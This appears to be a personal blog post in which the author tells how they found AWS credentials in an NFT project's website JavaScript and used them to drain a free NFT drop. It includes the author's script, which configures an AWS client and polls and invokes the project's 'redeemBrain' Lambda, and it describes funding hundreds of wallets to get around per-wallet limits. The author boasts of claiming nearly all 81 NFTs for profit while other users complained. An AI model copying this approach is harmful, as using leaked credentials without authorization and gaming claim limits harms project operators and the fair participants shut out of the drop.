Hide your keys!
Using off-chain logic for FCFS (First come first served) drops instead of using smart contracts is one of the worst mistakes any blockchain dev can make. And what's worse than that? Not hiding your secret keys correctly, effectively allowing bad actors to exploit the process. Let's see an example in which I happened to be the bad actor.
What happened?
I came around this NFT project called ZombiesNFT that announced their drop to be in a few days. They were releasing NFTs for free through a faucet, so 16 y/o me checked their website to see if it was possible to exploit in some way. After looking carefully through the JS source code, i found this that appeared to be an AWS config
// Some other stuff above
, p = n(98690)
, m = n.n(p);
m().config.update({
region: "us-east-1",
credentials: {
accessKeyId: "SOMESTUFFHERE",
secretAccessKey: "otherstuffhere"
}
});
I had never used AWS like that before but i knew i had found something useful. I started digging more and i found out that the keys were used to call AWS Lambda functions, and one of them was named 'redeemBrain' (The NFTs were brains). From there i started reverse engineering the params that needed to be sent and i wrote a js script to automate the whole thing to eventually try and claim as many NFTs as possible.
How?
First of all, there were limits set on their backend, so i couldn't use just one wallet. Given that, i proceeded to create hundreds of wallets, fund them and send them some useless NFTs that had to be sent in the request in order to claim the real NFT. The other big problem was that they announced the drop day, but not the time. So i had to implement a monitoring system that would ping their servers every 10000ms in order to know if the faucet was open or not. Now onto the actual code
//set delays
const delay = 1000;
const monitorDelay = 10000;
//config aws instance
AWS.config.update({
region: "us-east-1",
credentials: {
accessKeyId: "SOMESTUFFHERE",
secretAccessKey: "otherstuffhere"
}
})
//initialize client
let client = new AWS.Lambda();
After initializing the instance, i had to implement the monitor and claim logic. For the monitor, the idea was to send random params just to see the response status code and check if the faucet was open or not.
async function checkStart() {
//random params just to check if faucet is open
let checkData = {
minterAddress: "9oqQPXVJQH423iHjwP19A5rHxw9atA8yf7VQ8Aj3exDX",
symbol: "N/A",
name: "NFT",
address: "AtfwFfmzS5BQr5fe2cfSSm44XG1Ruqh9BvtXoXThGbd6"
}
client.invoke({
FunctionName: "redeemBrain",
InvocationType: "RequestResponse",
Payload: JSON.stringify(checkData)
}, function(err, data) {
console.log(data.Payload)
if (err) {console.log(err, err.stack)}
else {
if (JSON.parse(data.Payload).status == 200 || JSON.parse(data.Payload).status !== 501 && JSON.parse(data.Payload).status !== 429) {
//if faucet is open - start the claim
startClaim();
} else {
console.log(new Date() + " - " + JSON.parse(data.Payload).status)
}
};
});
}
The startClaim() function would then initialize the actual claim with real params, invoking the function for every wallet i prepared (twice per wallet since the limit was 2 per wallet).
Results
At the end of the drop, i claimed almost every single NFT available, while manual users were rightfully complaining (best part lol). I claimed 81 NFTs for free in total and I had also bought some on the secondary market before. As you can see in the pic below, i made some really nice profits by taking advantage of the lack of expertise of the devs (note that $SOL was trading at ~$30$ at the time)
